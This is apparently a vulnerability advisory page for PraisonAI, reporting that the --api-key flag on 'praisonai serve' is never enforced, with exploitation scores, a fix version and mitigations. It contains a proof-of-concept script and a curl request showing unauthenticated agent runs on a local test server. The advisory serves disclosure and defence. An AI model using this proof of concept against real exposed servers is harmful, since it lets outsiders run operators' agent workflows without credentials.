Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforcedGHSA-pvxx-r596-f5qj

Fix: MervinPraison/PraisonAI@2f9677a

GHSA-pvxx-r596-f5qj is a CWE-862 vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.

Also known asCVE-2026-55541PYSEC-2026-3893
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pvxx-r596-f5qj.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk
0.00%0.33%0.65%0.98%0.3%0.5%0.5%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

praisonai serve agents and praisonai serve unified both accept --api-key for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.

Affected versions

  • Confirmed on 4.6.50 (current PyPI, 2026-06-02)
  • Likely since 4.6.34 when the serve subsystem shipped
  • File: src/praisonai/praisonai/cli/features/serve.py

What happens

The CLI defines --api-key in the arg spec (serve.py:199) and passes the parsed value into _create_agents_app(config). But that function never reads config["api_key"]. The FastAPI app gets created with no auth at all. Same thing in _create_unified_app.

The help text says --api-key <key> API key for authentication, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.

$ grep -n "api_key" src/praisonai/praisonai/cli/features/serve.py
107:  --api-key <key>   API key for authentication
199:            "api_key": {"default": None},
847:            "api_key": {"default": None},

Endpoints exposed without auth

  • POST /agents — runs the full agent workflow
  • POST /agents/{name} — invokes a specific agent
  • POST /api/v1/agents/{id}/invoke — n8n integration endpoint
  • GET / — lists all endpoints
  • GET /__praisonai__/discovery — service discovery

Not the same as CVE-2026-44338

CVE-2026-44338 was about the legacy deploy/api.py hardcoding AUTH_ENABLED = False. That was fixed in 4.6.34. This bug is in the newer serve subsystem that shipped in the same release — the --api-key flag exists but was never connected to anything.

PoC

Setup

python3 -m venv /tmp/poc-venv
/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml

Script

import sys, types, tempfile, os

# Stub heavy deps so we only test the serve auth logic
for m in ["praisonai.endpoints.discovery", "praisonai.endpoints.server",
          "praisonai.api", "praisonai.api.agent_invoke",
          "praisonai.agents_generator", "praisonai.inc"]:
    sys.modules[m] = types.ModuleType(m)

disc = sys.modules["praisonai.endpoints.discovery"]
class Fake:
    def __init__(self, **k): pass
    def add_provider(self, *a, **k): pass
    def add_endpoint(self, *a, **k): pass
    def to_dict(self): return {}
disc.create_discovery_document = lambda **k: Fake()
disc.EndpointInfo = Fake
disc.ProviderInfo = Fake
sys.modules["praisonai.endpoints.server"].add_discovery_routes = lambda a,b: None
sys.modules["praisonai.api.agent_invoke"].FASTAPI_AVAILABLE = False

class FakeGen:
    def __init__(self, **k): pass
    def generate_crew_and_kickoff(self):
        return {"executed": True, "result": "workflow ran"}
sys.modules["praisonai.agents_generator"].AgentsGenerator = FakeGen

class FakeLLM:
    def to_dict(self): return {}
sys.modules["praisonai.inc"].LLMConfig = FakeLLM

f = tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False)
f.write("name: T\nagents:\n  a:\n    name: A\n    role: R\n    goal: G\n    backstory: B\n")
f.flush()

from praisonai.cli.features.serve import ServeHandler
app = ServeHandler()._create_agents_app({
    "file": f.name, "host": "0.0.0.0", "port": 8000,
    "path": "/agents", "reload": False,
    "api_key": "supersecret",   # <-- should protect the server
})

from starlette.testclient import TestClient
c = TestClient(app)

r1 = c.post("/agents", json={"query": "run"})
r2 = c.post("/agents", json={"query": "run"},
            headers={"Authorization": "Bearer TOTALLY_WRONG"})

print(f"No auth header → {r1.status_code}")   # 200
print(f"Wrong key      → {r2.status_code}")   # 200

os.unlink(f.name)

Output

No auth header → 200
Wrong key      → 200

Both succeed. The key is ignored.

Live server test

# start server with --api-key
praisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999

# hit it without any auth
curl -s -X POST http://localhost:9999/agents \
  -H "Content-Type: application/json" \
  -d '{"query":"run all agents"}'
# → 200, workflow executes

Impact

Anyone who can reach the server can trigger agent workflows without credentials. The operator set --api-key and got no error, so they think it's protected.

What an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.

Fix

_create_agents_app() and _create_unified_app() need to actually read config["api_key"] and add a FastAPI dependency that checks the Authorization: Bearer header. When binding to a non-loopback address without --api-key, the server should warn or refuse to start.

References

  • CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiall versions4.6.58pip install --upgrade 'praisonai==4.6.58'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonai to 4.6.58 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pvxx-r596-f5qj is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

## Summary `praisonai serve agents` and `praisonai serve unified` both accept `--api-key` for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI. ## Affected versions - Confirmed on **4.6.50** (current PyPI, 2026-06-02) - Likely since **4.6.34** when the serve subsystem shipped - File: `src/praisonai/praisonai/cli/features/serve.py` ## What happens The CLI defines `--api-key` in the arg spec (`serve.py:199`) and passes the parsed value into `
O3 Security · Impact-Aware SCA

Is GHSA-pvxx-r596-f5qj in your dependencies?

Find it across PyPI, including transitive dependencies.

PraisonAI: `--api-key` flag on `praisonai serve` is not…